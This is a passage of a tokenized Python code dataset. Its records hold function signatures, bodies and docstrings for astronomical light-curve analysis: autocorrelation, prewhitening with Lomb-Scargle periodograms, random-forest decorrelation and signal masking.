{'<STR_LIT>':ftimes,<EOL>'<STR_LIT>':corrected_fmags,<EOL>'<STR_LIT>':ferrs,<EOL>'<STR_LIT>':RFR.feature_importances_,<EOL>'<STR_LIT>':RFR,<EOL>'<STR_LIT>':npmedian(corrected_fmags),<EOL>'<STR_LIT>':npmedian(npabs(corrected_fmags -<EOL>npmedian(corrected_fmags)))}<EOL>return retdict<EOL>", "docstring": "This uses a `RandomForestRegressor` to de-correlate the given magseries.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to run EPD on.\n\n    externalparam_arrs : list of np.arrays\n        This is a list of ndarrays of external parameters to decorrelate\n        against. These should all be the same size as `times`, `mags`, `errs`.\n\n    epdsmooth : bool\n        If True, sets the training LC for the RandomForestRegress to be a\n        smoothed version of the sigma-clipped light curve provided in `times`,\n        `mags`, `errs`.\n\n    epdsmooth_sigclip : float or int or sequence of two floats/ints or None\n        This specifies how to sigma-clip the input LC before smoothing it and\n        fitting the EPD function to it. The actual LC will not be sigma-clipped.\n\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    epdsmooth_windowsize : int\n        This is the number of LC points to smooth over to generate a smoothed\n        light curve that will be used to fit the EPD function.\n\n    epdsmooth_func : Python function\n        This sets the smoothing filter function to use. A Savitsky-Golay filter\n        is used to smooth the light curve by default. The functions that can be\n        used with this kwarg are listed in `varbase.trends`. If you want to use\n        your own function, it MUST have the following signature::\n\n                def smoothfunc(mags_array, window_size, **extraparams)\n\n        and return a numpy array of the same size as `mags_array` with the\n        smoothed time-series. Any extra params can be provided using the\n        `extraparams` dict.\n\n    epdsmooth_extraparams : dict\n        This is a dict of any extra filter params to supply to the smoothing\n        function.\n\n    rf_subsample : float\n        Defines the fraction of the size of the `mags` array to use for\n        training the random forest regressor.\n\n    rf_ntrees : int\n        This is the number of trees to use for the `RandomForestRegressor`.\n\n    rf_extraprams : dict\n        This is a dict of any extra kwargs to provide to the\n        `RandomForestRegressor` instance used.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with decorrelated mags and the usual info from the\n        `RandomForestRegressor`: variable importances, etc.", "id": "f14731:m11"}
{"signature": "def _autocorr_func1(mags, lag, maglen, magmed, magstd):", "body": "lagindex = nparange(<NUM_LIT:1>,maglen-lag)<EOL>products = (mags[lagindex] - magmed) * (mags[lagindex+lag] - magmed)<EOL>acorr = (<NUM_LIT:1.0>/((maglen - lag)*magstd)) * npsum(products)<EOL>return acorr<EOL>", "docstring": "Calculates the autocorr of mag series for specific lag.\n\n    This version of the function is taken from: Kim et al. (`2011\n    <https://dx.doi.org/10.1088/0004-637X/735/2/68>`_)\n\n    Parameters\n    ----------\n\n    mags : np.array\n        This is the magnitudes array. MUST NOT have any nans.\n\n    lag : float\n        The specific lag value to calculate the auto-correlation for. This MUST\n        be less than total number of observations in `mags`.\n\n    maglen : int\n        The number of elements in the `mags` array.\n\n    magmed : float\n        The median of the `mags` array.\n\n    magstd : float\n        The standard deviation of the `mags` array.\n\n    Returns\n    -------\n\n    float\n        The auto-correlation at this specific `lag` value.", "id": "f14732:m0"}
{"signature": "def _autocorr_func2(mags, lag, maglen, magmed, magstd):", "body": "lagindex = nparange(<NUM_LIT:0>,maglen-lag)<EOL>products = (mags[lagindex] - magmed) * (mags[lagindex+lag] - magmed)<EOL>autocovarfunc = npsum(products)/lagindex.size<EOL>varfunc = npsum(<EOL>(mags[lagindex] - magmed)*(mags[lagindex] - magmed)<EOL>)/mags.size<EOL>acorr = autocovarfunc/varfunc<EOL>return acorr<EOL>", "docstring": "This is an alternative function to calculate the autocorrelation.\n\nThis version is from (first definition):\n\nhttps://en.wikipedia.org/wiki/Correlogram#Estimation_of_autocorrelations\n\nParameters\n----------\n\nmags : np.array\n    This is the magnitudes array. MUST NOT have any nans.\n\nlag : float\n    The specific lag value to calculate the auto-correlation for. This MUST\n    be less than total number of observations in `mags`.\n\nmaglen : int\n    The number of elements in the `mags` array.\n\nmagmed : float\n    The median of the `mags` array.\n\nmagstd : float\n    The standard deviation of the `mags` array.\n\nReturns\n-------\n\nfloat\n    The auto-correlation at this specific `lag` value.", "id": "f14732:m1"}
{"signature": "def _autocorr_func3(mags, lag, maglen, magmed, magstd):", "body": "<EOL>result = npcorrelate(mags, mags, mode='<STR_LIT>')<EOL>result = result / npmax(result)<EOL>return result[int(result.size / <NUM_LIT:2>):]<EOL>", "docstring": "This is yet another alternative to calculate the autocorrelation.\n\nTaken from: `Bayesian Methods for Hackers by Cameron Pilon <http://nbviewer.jupyter.org/github/CamDavidsonPilon/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/blob/master/Chapter3_MCMC/Chapter3.ipynb#Autocorrelation>`_\n\n(This should be the fastest method to calculate ACFs.)\n\nParameters\n----------\n\nmags : np.array\n    This is the magnitudes array. MUST NOT have any nans.\n\nlag : float\n    The specific lag value to calculate the auto-correlation for. This MUST\n    be less than total number of observations in `mags`.\n\nmaglen : int\n    The number of elements in the `mags` array.\n\nmagmed : float\n    The median of the `mags` array.\n\nmagstd : float\n    The standard deviation of the `mags` array.\n\nReturns\n-------\n\nfloat\n    The auto-correlation at this specific `lag` value.", "id": "f14732:m2"}
{"signature": "def autocorr_magseries(times, mags, errs,<EOL>maxlags=<NUM_LIT:1000>,<EOL>func=_autocorr_func3,<EOL>fillgaps=<NUM_LIT:0.0>,<EOL>filterwindow=<NUM_LIT:11>,<EOL>forcetimebin=None,<EOL>sigclip=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>verbose=True):", "body": "<EOL>interpolated = fill_magseries_gaps(times, mags, errs,<EOL>fillgaps=fillgaps,<EOL>forcetimebin=forcetimebin,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>filterwindow=filterwindow,<EOL>verbose=verbose)<EOL>if not interpolated:<EOL><INDENT>print('<STR_LIT>')<EOL>return None<EOL><DEDENT>itimes, imags = interpolated['<STR_LIT>'], interpolated['<STR_LIT>'],<EOL>if maxlags:<EOL><INDENT>lags = nparange(<NUM_LIT:0>, maxlags)<EOL><DEDENT>else:<EOL><INDENT>lags = nparange(itimes.size)<EOL><DEDENT>series_stdev = <NUM_LIT>*npmedian(npabs(imags))<EOL>if func != _autocorr_func3:<EOL><INDENT>autocorr = nparray([func(imags, x, imags.size, <NUM_LIT:0.0>, series_stdev)<EOL>for x in lags])<EOL><DEDENT>else:<EOL><INDENT>autocorr = _autocorr_func3(imags, lags[<NUM_LIT:0>], imags.size,<EOL><NUM_LIT:0.0>, series_stdev)<EOL>if maxlags is not None:<EOL><INDENT>autocorr = autocorr[:maxlags]<EOL><DEDENT><DEDENT>interpolated.update({'<STR_LIT>':itimes.min(),<EOL>'<STR_LIT>':lags,<EOL>'<STR_LIT>':autocorr})<EOL>return interpolated<EOL>", "docstring": "This calculates the ACF of a light curve.\n\n    This will pre-process the light curve to fill in all the gaps and normalize\n    everything to zero. If `fillgaps = 'noiselevel'`, fills the gaps with the\n    noise level obtained via the procedure above. If `fillgaps = 'nan'`, fills\n    the gaps with `np.nan`.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The measurement time-series and associated errors.\n\n    maxlags : int\n        The maximum number of lags to calculate.\n\n    func : Python function\n        This is a function to calculate the lags.\n\n    fillgaps : 'noiselevel' or float\n        This sets what to use to fill in gaps in the time series. If this is\n        'noiselevel', will smooth the light curve using a point window size of\n        `filterwindow` (this should be an odd integer), subtract the smoothed LC\n        from the actual LC and estimate the RMS. This RMS will be used to fill\n        in the gaps. Other useful values here are 0.0, and npnan.\n\n    filterwindow : int\n        The light curve's smoothing filter window size to use if\n        `fillgaps='noiselevel`'.\n\n    forcetimebin : None or float\n        This is used to force a particular cadence in the light curve other than\n        the automatically determined cadence. This effectively rebins the light\n        curve to this cadence. This should be in the same time units as `times`.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If your input measurements in `mags` are actually fluxes instead of\n        mags, set this is True.\n\n    verbose : bool\n        If True, will indicate progress and report errors.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'itimes': the interpolated time values after gap-filling,\n             'imags': the interpolated mag/flux values after gap-filling,\n             'ierrs': the interpolated mag/flux values after gap-filling,\n             'cadence': the cadence of the output mag/flux time-series,\n             'minitime': the minimum value of the interpolated times array,\n             'lags': the lags used to calculate the auto-correlation function,\n             'acf': the value of the ACF at each lag used}", "id": "f14732:m3"}
{"signature": "def prewhiten_magseries(times, mags, errs,<EOL>whitenperiod,<EOL>whitenparams,<EOL>sigclip=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>plotfit=None,<EOL>plotfitphasedlconly=True,<EOL>rescaletomedian=True):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>median_mag = np.median(smags)<EOL>mintime = np.min(stimes)<EOL>iphase = (<EOL>(stimes - mintime)/whitenperiod -<EOL>np.floor((stimes - mintime)/whitenperiod)<EOL>)<EOL>phasesortind = np.argsort(iphase)<EOL>phase = iphase[phasesortind]<EOL>pmags = smags[phasesortind]<EOL>perrs = serrs[phasesortind]<EOL>ptimes = stimes[phasesortind]<EOL>wmags = pmags - _fourier_func(whitenparams, phase, pmags)<EOL>wtimeorder = np.argsort(ptimes)<EOL>wtimes = ptimes[wtimeorder]<EOL>wphase = phase[wtimeorder]<EOL>wmags = wmags[wtimeorder]<EOL>werrs = perrs[wtimeorder]<EOL>if rescaletomedian:<EOL><INDENT>wmags = wmags + median_mag<EOL><DEDENT>returndict = {'<STR_LIT>':wtimes,  <EOL>'<STR_LIT>':wphase,<EOL>'<STR_LIT>':wmags,<EOL>'<STR_LIT>':werrs,<EOL>'<STR_LIT>':whitenparams,<EOL>'<STR_LIT>':whitenperiod}<EOL>if plotfit and (isinstance(plotfit, str) or isinstance(plotfit, Strio)):<EOL><INDENT>if plotfitphasedlconly:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:10>,<NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:16>,<NUM_LIT>))<EOL><DEDENT>if plotfitphasedlconly:<EOL><INDENT>plt.subplot(<NUM_LIT>)<EOL>plt.plot(phase,pmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:k>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(wphase,wmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:g>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.subplot(<NUM_LIT>)<EOL>plt.plot(stimes,smags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:k>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(wtimes,wmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:g>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % whitenperiod)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(phase,pmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:k>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(wphase,wmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:g>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>plt.tight_layout()<EOL>plt.savefig(plotfit, format='<STR_LIT>', pad_inches=<NUM_LIT:0.0>)<EOL>plt.close()<EOL>if isinstance(plotfit, str) or isinstance(plotfit, Strio):<EOL><INDENT>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT><DEDENT>return returndict<EOL>", "docstring": "Removes a periodic sinusoidal signal generated using whitenparams from\n    the input magnitude time series.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to prewhiten.\n\n    whitenperiod : float\n        The period of the sinusoidal signal to remove.\n\n    whitenparams : list of floats\n        This contains the Fourier amplitude and phase coefficients of the\n        sinusoidal signal to remove::\n\n            [ampl_1, ampl_2, ampl_3, ..., ampl_X,\n             pha_1, pha_2, pha_3, ..., pha_X]\n\n        where `X` is the Fourier order. These are usually the output of a\n        previous Fourier fit to the light curve (from\n        :py:func:`astrobase.lcfit.sinusoidal.fourier_fit_magseries` for\n        example).\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, will treat the input values of `mags` as fluxes for purposes of\n        plotting the fit and sig-clipping.\n\n    plotfit : str or False\n        If this is a string, this function will make a plot showing the effect\n        of the pre-whitening on the mag/flux time-series and write the plot to\n        the path specified here.\n\n    plotfitphasedlconly : bool\n        If True, will plot only the phased LC for showing the effect of\n        pre-whitening, and skip plotting the unphased LC.\n\n    rescaletomedian : bool\n        If this is True, then we add back the constant median term of the\n        magnitudes to the final pre-whitened mag series.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict of the form::\n\n            {'wtimes':times array after pre-whitening,\n             'wphase':phase array after pre-whitening,\n             'wmags':mags array after pre-whitening,\n             'werrs':errs array after pre-whitening,\n             'whitenparams':the input pre-whitening params used,\n             'whitenperiod':the input pre-whitening period used,\n             'fitplotfile':the output plot file if plotfit was set}", "id": "f14733:m0"}
{"signature": "def gls_prewhiten(times, mags, errs,<EOL>fourierorder=<NUM_LIT:3>,  <EOL>initfparams=None,<EOL>startp_gls=None,<EOL>endp_gls=None,<EOL>stepsize=<NUM_LIT>,<EOL>autofreq=True,<EOL>sigclip=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>nworkers=<NUM_LIT:4>,<EOL>plotfits=None):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>gls = pgen_lsp(stimes, smags, serrs,<EOL>magsarefluxes=magsarefluxes,<EOL>startp=startp_gls,<EOL>endp=endp_gls,<EOL>autofreq=autofreq,<EOL>sigclip=sigclip,<EOL>stepsize=stepsize,<EOL>nworkers=nworkers)<EOL>LOGINFO('<STR_LIT>' % (<NUM_LIT:0>, gls['<STR_LIT>']))<EOL>if plotfits and isinstance(plotfits, str):<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:20>,<NUM_LIT:6>*nbestpeaks))<EOL>nplots = nbestpeaks + <NUM_LIT:1><EOL>plt.subplot(nplots,<NUM_LIT:3>,<NUM_LIT:1>)<EOL>plt.plot(gls['<STR_LIT>'],gls['<STR_LIT>'])<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.xscale('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % gls['<STR_LIT>'])<EOL>plt.subplot(nplots,<NUM_LIT:3>,<NUM_LIT:2>)<EOL>plt.plot(stimes, smags,<EOL>linestyle='<STR_LIT:none>', marker='<STR_LIT:o>',ms=<NUM_LIT:1.0>,rasterized=True)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(nplots,<NUM_LIT:3>,<NUM_LIT:3>)<EOL>phased = phase_magseries(stimes, smags,<EOL>gls['<STR_LIT>'], stimes.min())<EOL>plt.plot(phased['<STR_LIT>'], phased['<STR_LIT>'],<EOL>linestyle='<STR_LIT:none>', marker='<STR_LIT:o>',ms=<NUM_LIT:1.0>,rasterized=True)<EOL>if not magsarefluxes:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL>plt.gca().invert_yaxis()<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % gls['<STR_LIT>'])<EOL><DEDENT>wtimes, wmags, werrs = stimes, smags, serrs<EOL>wperiod = gls['<STR_LIT>']<EOL>bestperiods = []<EOL>for fitind in range(nbestpeaks):<EOL><INDENT>wfseries = fourier_fit_magseries(wtimes, wmags, werrs, wperiod,<EOL>fourierorder=fourierorder,<EOL>fourierparams=initfparams,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>wffitparams = wfseries['<STR_LIT>']['<STR_LIT>']<EOL>wseries = prewhiten_magseries(wtimes, wmags, werrs,<EOL>wperiod,<EOL>wffitparams,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>LOGINFO('<STR_LIT>' % (fitind+<NUM_LIT:1>, wperiod))<EOL>bestperiods.append(wperiod)<EOL>wtimes, wmags, werrs = (<EOL>wseries['<STR_LIT>'], wseries['<STR_LIT>'], wseries['<STR_LIT>']<EOL>)<EOL>wgls = pgen_lsp(wtimes, wmags, werrs,<EOL>magsarefluxes=magsarefluxes,<EOL>startp=startp_gls,<EOL>endp=endp_gls,<EOL>autofreq=autofreq,<EOL>sigclip=sigclip,<EOL>stepsize=stepsize,<EOL>nworkers=nworkers)<EOL>wperiod = wgls['<STR_LIT>']<EOL>bestperiods.append(wperiod)<EOL>if plotfits and isinstance(plotfits, str):<EOL><INDENT>plt.subplot(nplots,<NUM_LIT:3>,<NUM_LIT:4>+fitind*<NUM_LIT:3>)<EOL>plt.plot(wgls['<STR_LIT>'],wgls['<STR_LIT>'])<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.xscale('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % (fitind+<NUM_LIT:1>,<EOL>wgls['<STR_LIT>']))<EOL>plt.subplot(nplots,<NUM_LIT:3>,<NUM_LIT:5>+fitind*<NUM_LIT:3>)<EOL>plt.plot(wtimes, wmags,<EOL>linestyle='<STR_LIT:none>', marker='<STR_LIT:o>',ms=<NUM_LIT:1.0>,rasterized=True)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(nplots,<NUM_LIT:3>,<NUM_LIT:6>+fitind*<NUM_LIT:3>)<EOL>wphased = phase_magseries(wtimes, wmags,<EOL>wperiod, stimes.min())<EOL>plt.plot(wphased['<STR_LIT>'], wphased['<STR_LIT>'],<EOL>linestyle='<STR_LIT:none>', marker='<STR_LIT:o>',ms=<NUM_LIT:1.0>,rasterized=True)<EOL>if not magsarefluxes:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL>plt.gca().invert_yaxis()<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % wperiod)<EOL><DEDENT><DEDENT>if plotfits and isinstance(plotfits, str):<EOL><INDENT>plt.subplots_adjust(hspace=<NUM_LIT>,wspace=<NUM_LIT>)<EOL>plt.savefig(plotfits, bbox_inches='<STR_LIT>')<EOL>plt.close('<STR_LIT:all>')<EOL>return bestperiods, os.path.abspath(plotfits)<EOL><DEDENT>else:<EOL><INDENT>return bestperiods<EOL><DEDENT>", "docstring": "Iterative pre-whitening of a magnitude series using the L-S periodogram.\n\n    This finds the best period, fits a fourier series with the best period, then\n    whitens the time series with the best period, and repeats until `nbestpeaks`\n    are done.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to iteratively pre-whiten.\n\n    fourierorder : int\n        The Fourier order of the sinusoidal signal to fit to the time-series and\n        iteratively remove.\n\n    initfparams : list or None\n        If this is provided, should be a list of Fourier amplitudes and phases\n        in the following format::\n\n            [ampl_1, ampl_2, ampl_3, ..., ampl_X,\n             pha_1, pha_2, pha_3, ..., pha_X]\n\n        where `X` is the Fourier order. These are usually the output of a\n        previous Fourier fit to the light curve (from\n        :py:func:`astrobase.lcfit.sinusoidal.fourier_fit_magseries` for\n        example). You MUST provide ONE of `fourierorder` and `initfparams`, but\n        not both. If both are provided or both are None, a sinusoidal signal of\n        Fourier order 3 will be used by default.\n\n    startp_gls, endp_gls : float or None\n        If these are provided, will serve as input to the Generalized\n        Lomb-Scargle function that will attempt to find the best `nbestpeaks`\n        periods in the time-series. These set the minimum and maximum period to\n        search for in the time-series.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    autofreq : bool\n        If this is True, the value of `stepsize` will be ignored and the\n        :py:func:`astrobase.periodbase.get_frequency_grid` function will be used\n        to generate a frequency grid based on `startp`, and `endp`. If these are\n        None as well, `startp` will be set to 0.1 and `endp` will be set to\n        `times.max() - times.min()`.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    nworkers : int\n        The number of parallel workers to use when calculating the periodogram.\n\n    plotfits : None or str\n        If this is a str, should indicate the file to which a plot of the\n        successive iterations of pre-whitening will be written to. This will\n        contain a row of plots indicating the before/after states of the light\n        curves for each round of pre-whitening.\n\n    Returns\n    -------\n\n    (bestperiods, plotfile) : tuple\n        This returns a list of the best periods (with the \"highest\" peak in the\n        periodogram) after each round of pre-whitening is done. If plotfit is a\n        str, will also return the path to the generated plot file.", "id": "f14733:m1"}
{"signature": "def mask_signal(times, mags, errs,<EOL>signalperiod,<EOL>signalepoch,<EOL>magsarefluxes=False,<EOL>maskphases=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0.5>,<NUM_LIT:1.0>),<EOL>maskphaselength=<NUM_LIT:0.1>,<EOL>plotfit=None,<EOL>plotfitphasedlconly=True,<EOL>sigclip=<NUM_LIT>):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>phases = (<EOL>(stimes - signalepoch)/signalperiod -<EOL>np.floor((stimes - signalepoch)/signalperiod)<EOL>)<EOL>masks = np.array([(np.abs(phases - x) > maskphaselength)<EOL>for x in maskphases])<EOL>masks = np.all(masks,axis=<NUM_LIT:0>)<EOL>mphases = phases[masks]<EOL>mtimes = stimes[masks]<EOL>mmags = smags[masks]<EOL>merrs = serrs[masks]<EOL>returndict = {'<STR_LIT>':mphases,<EOL>'<STR_LIT>':mtimes,<EOL>'<STR_LIT>':mmags,<EOL>'<STR_LIT>':merrs}<EOL>if plotfit and isinstance(plotfit, str) or isinstance(plotfit, Strio):<EOL><INDENT>if plotfitphasedlconly:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:10>,<NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:16>,<NUM_LIT>))<EOL><DEDENT>if plotfitphasedlconly:<EOL><INDENT>plt.subplot(<NUM_LIT>)<EOL>plt.plot(phases,smags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:k>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(mphases,mmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:g>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.subplot(<NUM_LIT>)<EOL>plt.plot(stimes,smags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:k>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not 